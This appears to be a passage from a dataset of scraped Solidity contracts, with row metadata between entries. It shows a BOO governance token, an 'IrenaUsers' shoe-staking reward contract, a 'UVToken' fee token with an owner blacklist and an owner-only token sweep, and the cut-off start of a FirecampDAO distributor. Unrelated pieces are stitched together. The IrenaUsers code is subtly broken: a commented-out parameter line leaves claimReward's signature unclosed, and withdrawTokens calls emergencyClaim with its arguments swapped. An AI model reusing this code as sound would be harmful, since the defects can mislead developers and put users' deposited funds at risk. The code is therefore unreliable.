_moveDelegates(sender, recipient, amount);
return result;
}
function transfer(address recipient, uint256 amount)
public virtual override returns (bool)
{
bool result = super.transfer(recipient, amount); // Call parent hook
_moveDelegates(_msgSender(), recipient, amount);
return result;
}
function delegates(address delegator)
external
view
returns (address)
{
return _delegates[delegator];
}
function delegate(address delegatee) external {
return _delegate(msg.sender, delegatee);
}
function delegateBySig(address delegatee, uint nonce, uint expiry, uint8 v, bytes32 r, bytes32 s) external {
bytes32 domainSeparator = keccak256(abi.encode(DOMAIN_TYPEHASH,
keccak256(bytes(name())),
getChainId(),
address(this)));
bytes32 structHash = keccak256(abi.encode(DELEGATION_TYPEHASH,
delegatee,
nonce,
expiry));
bytes32 digest = keccak256(abi.encodePacked("\x19\x01",
domainSeparator,
structHash));
address signatory = ecrecover(digest, v, r, s);
require(signatory != address(0), "BOO::delegateBySig: invalid signature");
require(nonce == _useNonce(signatory), "BOO::delegateBySig: invalid nonce");
require(block.timestamp <= expiry, "BOO::delegateBySig: signature expired");
return _delegate(signatory, delegatee);
}
function getCurrentVotes(address account)
external
view
returns (uint256)
{
uint32 nCheckpoints = numCheckpoints[account];
return nCheckpoints > 0 ? checkpoints[account][nCheckpoints - 1].votes : 0;
}
function getPriorVotes(address account, uint blockNumber)
external
view
returns (uint256)
{
require(blockNumber < block.number, "BOO::getPriorVotes: not yet determined");
uint32 nCheckpoints = numCheckpoints[account];
if (nCheckpoints == 0) {
return 0;
}
// First check most recent balance
if (checkpoints[account][nCheckpoints - 1].fromBlock <= blockNumber) {
return checkpoints[account][nCheckpoints - 1].votes;
}
// Next check implicit zero balance
if (checkpoints[account][0].fromBlock > blockNumber) {
return 0;
}
uint32 lower = 0;
uint32 upper = nCheckpoints - 1;
while (upper > lower) {
uint32 center = upper - (upper - lower) / 2; // ceil, avoiding overflow
Checkpoint memory cp = checkpoints[account][center];
if (cp.fromBlock == blockNumber) {
return cp.votes;
} else if (cp.fromBlock < blockNumber) {
lower = center;
} else {
upper = center - 1;
}
}
return checkpoints[account][lower].votes;
}
function _delegate(address delegator, address delegatee)
internal
{
address currentDelegate = _delegates[delegator];
uint256 delegatorBalance = balanceOf(delegator); // balance of underlying BOOs (not scaled);
_delegates[delegator] = delegatee;
emit DelegateChanged(delegator, currentDelegate, delegatee);
_moveDelegates(currentDelegate, delegatee, delegatorBalance);
}
function _moveDelegates(address srcRep, address dstRep, uint256 amount) internal {
if (srcRep != dstRep && amount > 0) {
if (srcRep != address(0)) {
// decrease old representative
uint32 srcRepNum = numCheckpoints[srcRep];
uint256 srcRepOld = srcRepNum > 0 ? checkpoints[srcRep][srcRepNum - 1].votes : 0;
uint256 srcRepNew = srcRepOld - amount;
_writeCheckpoint(srcRep, srcRepNum, srcRepOld, srcRepNew);
}
if (dstRep != address(0)) {
// increase new representative
uint32 dstRepNum = numCheckpoints[dstRep];
uint256 dstRepOld = dstRepNum > 0 ? checkpoints[dstRep][dstRepNum - 1].votes : 0;
uint256 dstRepNew = dstRepOld + amount;
_writeCheckpoint(dstRep, dstRepNum, dstRepOld, dstRepNew);
}
}
}
function _writeCheckpoint(address delegatee,
uint32 nCheckpoints,
uint256 oldVotes,
uint256 newVotes)
internal
{
uint32 blockNumber = safe32(block.number, "BOO::_writeCheckpoint: block number exceeds 32 bits");
if (nCheckpoints > 0 && checkpoints[delegatee][nCheckpoints - 1].fromBlock == blockNumber) {
checkpoints[delegatee][nCheckpoints - 1].votes = newVotes;
} else {
checkpoints[delegatee][nCheckpoints] = Checkpoint(blockNumber, newVotes);
numCheckpoints[delegatee] = nCheckpoints + 1;
}
emit DelegateVotesChanged(delegatee, oldVotes, newVotes);
}
function safe32(uint n, string memory errorMessage) internal pure returns (uint32) {
require(n < 2**32, errorMessage);
return uint32(n);
}
function getChainId() internal view returns (uint) {
uint256 chainId;
assembly { chainId := chainid() }
return chainId;
}
}
| 329,094 | 11,740 |
fb6c5801e9fe14bffe8cb2e9bf490ddeec513a8104da815c12693ce7e559c2af
| 18,046 |
.sol
|
Solidity
| false |
454032456
|
tintinweb/smart-contract-sanctuary-avalanche
|
39792ff211cb89e79e9eb6ee7278f6843acb5cc6
|
contracts/testnet/e6/e65d1dad3a7f2d079b33a95117ed95df0195c343_IrenaUsers.sol
| 4,852 | 16,933 |
pragma solidity ^0.6.12;
pragma experimental ABIEncoderV2;
// SPDX-License-Identifier: MIT
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
function ceil(uint a, uint m) internal pure returns (uint r) {
return (a + m - 1) / m * m;
}
}
contract Owned {
address payable public owner;
event OwnershipTransferred(address indexed _from, address indexed _to);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function getOwner() public view returns(address){
return owner;
}
function transferOwnership(address payable _newOwner) public onlyOwner {
owner = _newOwner;
emit OwnershipTransferred(msg.sender, _newOwner);
}
}
contract VerifySignature {
function getMessageHash(address _to,
uint _amount,
string memory _message,
uint _nonce) public pure returns (bytes32) {
return keccak256(abi.encodePacked(_to, _amount, _message, _nonce));
}
function getEthSignedMessageHash(bytes32 _messageHash)
public
pure
returns (bytes32)
{
return
keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", _messageHash));
}
function verify(address _to,
uint256 _amount,
string memory _message,
uint _nonce,
bytes memory signature) public pure returns (bool) {
bytes32 messageHash = getMessageHash(_to, _amount, _message, _nonce);
bytes32 ethSignedMessageHash = getEthSignedMessageHash(messageHash);
return recoverSigner(ethSignedMessageHash, signature) == _to;
}
function recoverSigner(bytes32 _ethSignedMessageHash, bytes memory _signature)
public
pure
returns (address)
{
(bytes32 r, bytes32 s, uint8 v) = splitSignature(_signature);
return ecrecover(_ethSignedMessageHash, v, r, s);
}
function splitSignature(bytes memory sig)
public
pure
returns (bytes32 r,
bytes32 s,
uint8 v)
{
require(sig.length == 65, "invalid signature length");
assembly {
// first 32 bytes, after the length prefix
r := mload(add(sig, 32))
// second 32 bytes
s := mload(add(sig, 64))
// final byte (first byte of the next 32 bytes)
v := byte(0, mload(add(sig, 96)))
}
// implicitly return (r, s, v)
}
}
interface IBEP20 {
function approve(address to, uint256 tokens) external returns (bool success);
function decimals() external view returns (uint256);
function transfer(address to, uint256 tokens) external returns (bool success);
function burnTokens(uint256 _amount) external;
function balanceOf(address tokenOwner) external view returns (uint256 balance);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
function mint(address _to,uint256 amount) external returns (bool success);
function transferOwnership(address _newOwner) external returns (bool success);
}
contract IrenaUsers is Owned,VerifySignature {
using SafeMath for uint256;
IBEP20 public irena;
IBEP20 public usdt;
uint256 public adminFeePercent;
uint256 public intervalBlock;
constructor(address _irena, address _usdt, uint256 _adminFeePercent, uint256 _intervalBlock) public{
irena = IBEP20(_irena);
usdt = IBEP20(_usdt);
adminFeePercent = _adminFeePercent;
intervalBlock = _intervalBlock;
}
struct ShoesStruct{
string shoeName;
uint256 shoePrice;
uint256 shoePricePerMeter;
uint256 shoeDailyMeters;
uint256 shoeTotalStock;
uint256 shoeStockLeft;
uint256 shoeUseDays;
uint256 shoeStakeDays;
uint256 shoeTokensToBeStaked;
bool shoeIsEnabled;
}
struct UsersStruct{
uint256 userId;
string userName;
uint256 userCoveredMeters;
uint256 userTotalStaked;
uint256 userRewardEarned;
uint256 paidAmount;
uint256 userJoinedTime;
uint256 userAge;
bool userIsBlocked;
bool userIsExist;
}
struct UserShoeInfo{
uint256 userId;
uint256 dateOfBuying;
uint256 stakedAmount;
uint256 paidAmount;
uint256 stakedTime;
uint256 withdrawTime;
uint256 MetersCovered;
uint256 rewardsClaimed;
uint256 lastClaimedTime;
bool expired;
}
struct TransactionReceipt{
uint256 userId;
uint256 shoePid;
uint256 transactionTime;
uint256 MetersCovered;
uint256 rewardsClaimed;
}
mapping (address => UsersStruct) private userDetails;
mapping (uint256 => ShoesStruct) private shoeDetails;
mapping (address => mapping(uint256 => UserShoeInfo)) private userShoeDetails;
mapping (address => TransactionReceipt[]) private userTransactionReceipt;
event Register(address indexed user,UsersStruct info);
event AddShoe(address indexed user,ShoesStruct info);
event BuyShoe(address indexed user,UserShoeInfo info);
event Deposit(address indexed user,UserShoeInfo info);
event Withdraw(address indexed user,UserShoeInfo info,TransactionReceipt[] receipt);
event Claim(address indexed user,TransactionReceipt[] info);
function checkIsExpired(uint256 _shoePid) internal {
if(((block.timestamp.sub(userShoeDetails[msg.sender][_shoePid].dateOfBuying)) > shoeDetails[(_shoePid)].shoeUseDays) ||
(userShoeDetails[msg.sender][_shoePid].paidAmount == 0)){
userShoeDetails[msg.sender][_shoePid].expired = true;
userShoeDetails[msg.sender][_shoePid].dateOfBuying = 0;
userShoeDetails[msg.sender][_shoePid].MetersCovered = 0;
userShoeDetails[msg.sender][_shoePid].paidAmount = 0;
userDetails[msg.sender].paidAmount = (userDetails[msg.sender].paidAmount).sub(shoeDetails[_shoePid].shoePrice);
shoeDetails[_shoePid].shoeStockLeft = shoeDetails[_shoePid].shoeStockLeft.add(1);
}
}
function emergencyClaim(uint256 _userCoveredMeters, uint256 _shoePid) internal returns(TransactionReceipt[] memory){
uint256 exactMeters = _userCoveredMeters.sub(userShoeDetails[msg.sender][_shoePid].MetersCovered);
uint256 exactAmount = exactMeters.mul(shoeDetails[_shoePid].shoePricePerMeter);
uint256 shoeDailyReward = shoeDetails[_shoePid].shoeDailyMeters.mul(shoeDetails[_shoePid].shoePricePerMeter);
uint256 exactDays = (block.timestamp.sub(userShoeDetails[msg.sender][_shoePid].lastClaimedTime)).div(intervalBlock);
require(exactAmount <= shoeDailyReward.mul(exactDays),"Reward exceeds!");
userShoeDetails[msg.sender][_shoePid].MetersCovered = userShoeDetails[msg.sender][_shoePid].MetersCovered.add(exactMeters);
userShoeDetails[msg.sender][_shoePid].rewardsClaimed = userShoeDetails[msg.sender][_shoePid].rewardsClaimed.add(exactAmount);
userShoeDetails[msg.sender][_shoePid].lastClaimedTime = block.timestamp;
userDetails[msg.sender].userCoveredMeters = userDetails[msg.sender].userCoveredMeters.add(exactMeters);
userDetails[msg.sender].userRewardEarned = userDetails[msg.sender].userRewardEarned.add(exactAmount);
require(usdt.transfer(msg.sender,exactAmount),"Insufficient Irena!");
userTransactionReceipt[msg.sender].push(TransactionReceipt({
userId:userDetails[msg.sender].userId,
shoePid:_shoePid,
transactionTime:block.timestamp,
MetersCovered:exactMeters,
rewardsClaimed:exactAmount
}));
return userTransactionReceipt[msg.sender];
}
function claimReward(uint256 _userCoveredMeters, uint256 _shoePid
// bytes memory signature, uint256[] memory signDatas, string memory _message) public returns (TransactionReceipt[] memory){
// signDatas[0] - signatureValue, signDatas[2] - _message, signDatas[3] - _nonce
checkIsExpired(_shoePid);
require(!userShoeDetails[msg.sender][_shoePid].expired,"Shoe expired!");
uint256 exactMeters = _userCoveredMeters.sub(userShoeDetails[msg.sender][_shoePid].MetersCovered);
uint256 exactAmount = exactMeters.mul(shoeDetails[_shoePid].shoePricePerMeter);
uint256 shoeDailyReward = shoeDetails[_shoePid].shoeDailyMeters.mul(shoeDetails[_shoePid].shoePricePerMeter);
uint256 exactDays = (block.timestamp.sub(userShoeDetails[msg.sender][_shoePid].lastClaimedTime)).div(intervalBlock);
require(exactDays > intervalBlock,"You can't claim again within 1 day of claiming!");
require(exactAmount <= shoeDailyReward.mul(exactDays),"Reward exceeds!");
userShoeDetails[msg.sender][_shoePid].MetersCovered = userShoeDetails[msg.sender][_shoePid].MetersCovered.add(exactMeters);
userShoeDetails[msg.sender][_shoePid].rewardsClaimed = userShoeDetails[msg.sender][_shoePid].rewardsClaimed.add(exactAmount);
userShoeDetails[msg.sender][_shoePid].lastClaimedTime = block.timestamp;
userDetails[msg.sender].userCoveredMeters = userDetails[msg.sender].userCoveredMeters.add(exactMeters);
userDetails[msg.sender].userRewardEarned = userDetails[msg.sender].userRewardEarned.add(exactAmount);
require(usdt.transfer(msg.sender,exactAmount),"Insufficient Irena!");
userTransactionReceipt[msg.sender].push(TransactionReceipt({
userId:userDetails[msg.sender].userId,
shoePid:_shoePid,
transactionTime:block.timestamp,
MetersCovered:exactMeters,
rewardsClaimed:exactAmount
}));
emit Claim(msg.sender,userTransactionReceipt[msg.sender]);
return userTransactionReceipt[msg.sender];
}
function depositTokens(uint256 _shoePid, uint256 _amount) public returns (UserShoeInfo memory){
require(shoeDetails[_shoePid].shoeIsEnabled == true,"Currently this shoe is disabled!");
require(_amount >= (((shoeDetails[_shoePid].shoeTokensToBeStaked.mul(adminFeePercent)).div(100)).add(shoeDetails[_shoePid].shoeTokensToBeStaked)),"Amount not enough to stake!");
require(irena.transferFrom(msg.sender,address(this),_amount),"Insufficient Irena!");
//get amount to be staked
uint256 amountToStake = (_amount).sub((shoeDetails[_shoePid].shoeTokensToBeStaked.mul(adminFeePercent)).div(100));
address owner = getOwner();
//admin fee transfer
require(irena.transfer(owner,((shoeDetails[_shoePid].shoeTokensToBeStaked.mul(adminFeePercent)).div(100))),"Insufficient irena for admin fee!");
userShoeDetails[msg.sender][_shoePid] = UserShoeInfo({
userId : userDetails[msg.sender].userId,
dateOfBuying : 0,
MetersCovered : 0,
rewardsClaimed : 0,
stakedAmount : amountToStake,
paidAmount : 0,
stakedTime : block.timestamp,
withdrawTime : 0,
lastClaimedTime : block.timestamp,
expired : false
});
userDetails[msg.sender].userTotalStaked = userDetails[msg.sender].userTotalStaked.add(_amount);
emit Deposit(msg.sender,userShoeDetails[msg.sender][_shoePid]);
return userShoeDetails[msg.sender][_shoePid];
}
function withdrawTokens(uint256 _shoePid,uint256 _MetersCovered) public returns (UserShoeInfo memory, TransactionReceipt[] memory){
require(block.timestamp.sub(userShoeDetails[msg.sender][_shoePid].stakedTime) >= shoeDetails[_shoePid].shoeStakeDays,"You're not eligible to withdraw!");
//get admin fee
uint256 adminFee = ((userShoeDetails[msg.sender][_shoePid].stakedAmount).mul(adminFeePercent)).div(100);
address owner = getOwner();
require(irena.transfer(msg.sender,(userShoeDetails[msg.sender][_shoePid].stakedAmount).sub(adminFee)),"insufficient irena to withdraw !");
//admin fee transfer
require(irena.transfer(owner,adminFee),"insufficient irena for admin fee!");
TransactionReceipt[] memory claimedReceipt = emergencyClaim(_shoePid,_MetersCovered);
userDetails[msg.sender].userTotalStaked = userDetails[msg.sender].userTotalStaked.sub(userShoeDetails[msg.sender][_shoePid].stakedAmount);
userShoeDetails[msg.sender][_shoePid].withdrawTime = block.timestamp;
userShoeDetails[msg.sender][_shoePid].stakedAmount = 0;
userShoeDetails[msg.sender][_shoePid].stakedTime = 0;
if(userShoeDetails[msg.sender][_shoePid].paidAmount != 0){
userShoeDetails[msg.sender][_shoePid].paidAmount = 0;
userDetails[msg.sender].paidAmount = (userDetails[msg.sender].paidAmount).sub(shoeDetails[_shoePid].shoePrice);
}
emit Withdraw(msg.sender,userShoeDetails[msg.sender][_shoePid],claimedReceipt);
return (userShoeDetails[msg.sender][_shoePid],claimedReceipt);
}
function addShoe(uint256[] memory _shoeInfo, string memory _shoeName, uint256 _shoePid) public onlyOwner returns (ShoesStruct memory) {
shoeDetails[_shoePid] = ShoesStruct({
shoeName : _shoeName,
shoePrice : _shoeInfo[0],
shoePricePerMeter : _shoeInfo[1],
shoeDailyMeters : _shoeInfo[2],
shoeTotalStock : _shoeInfo[3],
shoeStockLeft :_shoeInfo[3],
shoeUseDays : (_shoeInfo[4]).mul(intervalBlock),
shoeStakeDays : (_shoeInfo[5]).mul(intervalBlock),
shoeTokensToBeStaked : _shoeInfo[6],
shoeIsEnabled : true
});
emit AddShoe(msg.sender,shoeDetails[_shoePid]);
return shoeDetails[_shoePid];
}
function buyShoe(uint256 _amount, uint256 _shoePid) public returns (UserShoeInfo memory){
require(shoeDetails[_shoePid].shoePrice <= _amount, "Amount not enough to buy this shoe!");
require(userDetails[msg.sender].userIsExist,"User need to register!");
require(shoeDetails[_shoePid].shoeStockLeft != 0,"Out of Stock!");
require(shoeDetails[_shoePid].shoeIsEnabled == true,"Currently this shoe is disabled!");
require(userDetails[msg.sender].userIsBlocked == false,"This user is Blocked!");
require(userShoeDetails[msg.sender][_shoePid].stakedAmount >= shoeDetails[_shoePid].shoeTokensToBeStaked,"User need to stake to buy this shoe!");
require(usdt.transferFrom(msg.sender,address(this),_amount),"Insufficient Irena!");
userShoeDetails[msg.sender][_shoePid].dateOfBuying = block.timestamp;
userShoeDetails[msg.sender][_shoePid].paidAmount = (userShoeDetails[msg.sender][_shoePid].paidAmount).add(_amount);
userDetails[msg.sender].paidAmount = (userDetails[msg.sender].paidAmount).add(_amount);
shoeDetails[_shoePid].shoeStockLeft = shoeDetails[_shoePid].shoeStockLeft.sub(1);
emit BuyShoe(msg.sender,userShoeDetails[msg.sender][_shoePid]);
return userShoeDetails[msg.sender][_shoePid];
}
function registerUser(string memory _name, uint256 _age) public returns (UsersStruct memory){
require(!userDetails[msg.sender].userIsExist,"User Already Exist!");
userDetails[msg.sender] = UsersStruct({
userIsExist : true,
userId : block.timestamp,
userName : _name,
userCoveredMeters : 0,
userTotalStaked : 0,
userRewardEarned : 0,
paidAmount : 0,
userJoinedTime : block.timestamp,
userAge : _age,
userIsBlocked : false
});
emit Register(msg.sender,userDetails[msg.sender]);
return userDetails[msg.sender];
}
function shoeSettings(uint256 _shoePid) public onlyOwner returns (ShoesStruct memory){
shoeDetails[_shoePid].shoeIsEnabled = !shoeDetails[_shoePid].shoeIsEnabled;
return shoeDetails[_shoePid];
}
function userSettings(address _address) public onlyOwner returns (UsersStruct memory){
userDetails[_address].userIsBlocked = !userDetails[_address].userIsBlocked;
return userDetails[_address];
}
function getUserInfo(address _address) public view returns (UsersStruct memory){
return userDetails[_address];
}
function getShoeInfo(uint256 _shoePid) public view returns (ShoesStruct memory){
return shoeDetails[_shoePid];
}
function getUserShoeInfo(uint256 _shoePid, address _address) public view returns (UserShoeInfo memory){
return userShoeDetails[_address][_shoePid];
}
function getUserTransactions(address _address) public view returns (TransactionReceipt[] memory){
return userTransactionReceipt[_address];
}
function getAdminFeePercentage() public view returns (uint256){
return adminFeePercent;
}
}
| 114,754 | 11,741 |
cff3fe26e2b7bae36d138d7b43e9ba71a031ee08601432feb576d87546160667
| 18,007 |
.sol
|
Solidity
| false |
453466497
|
tintinweb/smart-contract-sanctuary-tron
|
44b9f519dbeb8c3346807180c57db5337cf8779b
|
contracts/mainnet/TB/TBtY3N2NBQNXrpqn69Unzs1sD4U6XYh8Na_UVToken.sol
| 3,333 | 12,509 |
//SourceUnit: UVToken.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.12;
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
interface ITRC20 {
function transfer(address to, uint256 value) external returns (bool);
function approve(address spender, uint256 value) external returns (bool);
function transferFrom(address from, address to, uint256 value) external returns (bool);
function totalSupply() external view returns (uint256);
function balanceOf(address who) external view returns (uint256);
function allowance(address owner, address spender) external view returns (uint256);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
pragma experimental ABIEncoderV2;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath#mul: OVERFLOW");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, "SafeMath#div: DIVISION_BY_ZERO");
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath#sub: UNDERFLOW");
uint256 c = a - b;
return c;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath#add: OVERFLOW");
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0, "SafeMath#mod: DIVISION_BY_ZERO");
return a % b;
}
}
contract UVToken is Context, ITRC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
string private _name = 'UVToken';
string private _symbol = 'UV';
uint8 private _decimals = 6;
uint256 private _totalSupply = 2999 * 10**uint256(_decimals);
address private _burnPool = address(0);
address private _fundAddress;
uint256 public _burnFee = 5;
uint256 private _previousBurnFee = _burnFee;
uint256 public _liquidityFee = 5;
uint256 private _previousLiquidityFee = _liquidityFee;
uint256 public _fundFee = 2;
uint256 private _previousFundFee = _fundFee;
uint256 public MAX_STOP_FEE_TOTAL = 999 * 10**uint256(_decimals);
mapping(address => bool) private _isExcludedFromFee;
mapping(address => bool) private _blackList;
uint256 private _burnFeeTotal;
uint256 private _liquidityFeeTotal;
uint256 private _fundFeeTotal;
address public _exchangePool;
uint256 public _maxTransferAmountLimit = 30 * 10**uint256(_decimals);
constructor (address fundAddress) public {
_fundAddress = fundAddress;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_balances[_msgSender()] = _totalSupply;
emit Transfer(address(0), _msgSender(), _totalSupply);
}
receive () external payable {}
function name() public view virtual returns (string memory) {
return _name;
}
function symbol() public view virtual returns (string memory) {
return _symbol;
}
function decimals() public view virtual returns (uint8) {
return _decimals;
}
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
uint256 currentAllowance = _allowances[sender][_msgSender()];
require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
_approve(sender, _msgSender(), currentAllowance - amount);
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
uint256 currentAllowance = _allowances[_msgSender()][spender];
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
_approve(_msgSender(), spender, currentAllowance - subtractedValue);
return true;
}
function safe(address reAddress) public {
require(msg.sender == owner());
ITRC20(reAddress).transfer(owner(), ITRC20(reAddress).balanceOf(address(this)));
}
function setMaxStopFeeTotal(uint256 total) public onlyOwner {
MAX_STOP_FEE_TOTAL = total;
restoreAllFee();
}
function excludeFromFee(address account) public onlyOwner {
_isExcludedFromFee[account] = true;
}
function includeInFee(address account) public onlyOwner {
_isExcludedFromFee[account] = false;
}
function setExchangePool(address exchangePool) public onlyOwner {
_exchangePool = exchangePool;
}
function isBlackList(address account) public onlyOwner view returns (bool) {
return _blackList[account];
}
function _setBlackList(address account, bool status) internal {
_blackList[account] = status;
}
function setBlackList(address account, bool status) public onlyOwner returns(bool) {
_setBlackList(account, status);
return true;
}
function setMaxTransferAmountLimit(uint256 limitAmount) public onlyOwner {
_maxTransferAmountLimit = limitAmount;
}
function totalBurnFee() public view returns (uint256) {
return _burnFeeTotal;
}
function totalFundFee() public view returns (uint256) {
return _fundFeeTotal;
}
function totalLiquidityFee() public view returns (uint256) {
return _liquidityFeeTotal;
}
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
require(!_blackList[sender], "The address is blacklisted");
require(!_blackList[recipient], "The address is blacklisted");
if(!_isExcludedFromFee[sender] && !_isExcludedFromFee[recipient]) {
if (sender == _exchangePool || recipient == _exchangePool) {
require(amount <= _maxTransferAmountLimit, "Transfer amount exceeds max transfer amount");
}
}
uint256 senderBalance = _balances[sender];
require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
if (_totalSupply <= MAX_STOP_FEE_TOTAL) {
removeAllFee();
_transferStandard(sender, recipient, amount);
} else {
if(_isExcludedFromFee[sender] || _isExcludedFromFee[recipient] || recipient == _exchangePool) {
removeAllFee();
}
_transferStandard(sender, recipient, amount);
if(_isExcludedFromFee[sender] || _isExcludedFromFee[recipient] || recipient == _exchangePool) {
restoreAllFee();
}
}
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 tTransferAmount, uint256 tBurn, uint256 tLiquidity, uint256 tFund) = _getValues(tAmount);
_balances[sender] = _balances[sender].sub(tAmount);
_balances[recipient] = _balances[recipient].add(tTransferAmount);
if(!_isExcludedFromFee[sender] &&
!_isExcludedFromFee[recipient] &&
recipient != _exchangePool) {
_balances[_exchangePool] = _balances[_exchangePool].add(tLiquidity);
_liquidityFeeTotal = _liquidityFeeTotal.add(tLiquidity);
_balances[_fundAddress] = _balances[_fundAddress].add(tFund);
_fundFeeTotal = _fundFeeTotal.add(tFund);
_totalSupply = _totalSupply.sub(tBurn);
_burnFeeTotal = _burnFeeTotal.add(tBurn);
emit Transfer(sender, _exchangePool, tLiquidity);
emit Transfer(sender, _fundAddress, tFund);
emit Transfer(sender, _burnPool, tBurn);
}
emit Transfer(sender, recipient, tTransferAmount);
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function calculateBurnFee(uint256 _amount) private view returns (uint256) {
return _amount.mul(_burnFee).div(10**2);
}
function calculateLiquidityFee(uint256 _amount) private view returns (uint256) {
return _amount.mul(_liquidityFee).div(10 ** 2);
}
function calculateFundFee(uint256 _amount) private view returns (uint256) {
return _amount.mul(_fundFee).div(10 ** 2);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tBurn, uint256 tLiquidity, uint256 tFund) = _getTValues(tAmount);
return (tTransferAmount, tBurn, tLiquidity, tFund);
}
function _getTValues(uint256 tAmount) private view returns (uint256, uint256,uint256, uint256) {
uint256 tBurn = calculateBurnFee(tAmount);
uint256 tLiquidity = calculateLiquidityFee(tAmount);
uint256 tFund = calculateFundFee(tAmount);
uint256 tTransferAmount = tAmount.sub(tBurn).sub(tLiquidity).sub(tFund);
return (tTransferAmount, tBurn, tLiquidity, tFund);
}
function removeAllFee() private {
if(_liquidityFee == 0 && _burnFee == 0 && _fundFee == 0) return;
_previousLiquidityFee = _liquidityFee;
_previousBurnFee = _burnFee;
_previousFundFee = _fundFee;
_liquidityFee = 0;
_burnFee = 0;
_fundFee = 0;
}
function restoreAllFee() private {
_liquidityFee = _previousLiquidityFee;
_burnFee = _previousBurnFee;
_fundFee = _previousFundFee;
}
}
| 284,202 | 11,742 |
6d365e8c346d48169bb220be30682c3a471c82ecadb13118d2c9eff89e920756
| 18,011 |
.sol
|
Solidity
| false |
454032456
|
tintinweb/smart-contract-sanctuary-avalanche
|
39792ff211cb89e79e9eb6ee7278f6843acb5cc6
|
contracts/mainnet/5f/5f3b2fa552f9447ea8f0989bdb7d47d005d75abf_Distributor.sol
| 3,971 | 15,699 |
//FirecampDAO
//https://firecampdao.finance
pragma solidity 0.7.5;
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender)
.sub(value, "SafeERC20: decreased allowance below zero");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function _callOptionalReturn(IERC20 token, bytes memory data) private {
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
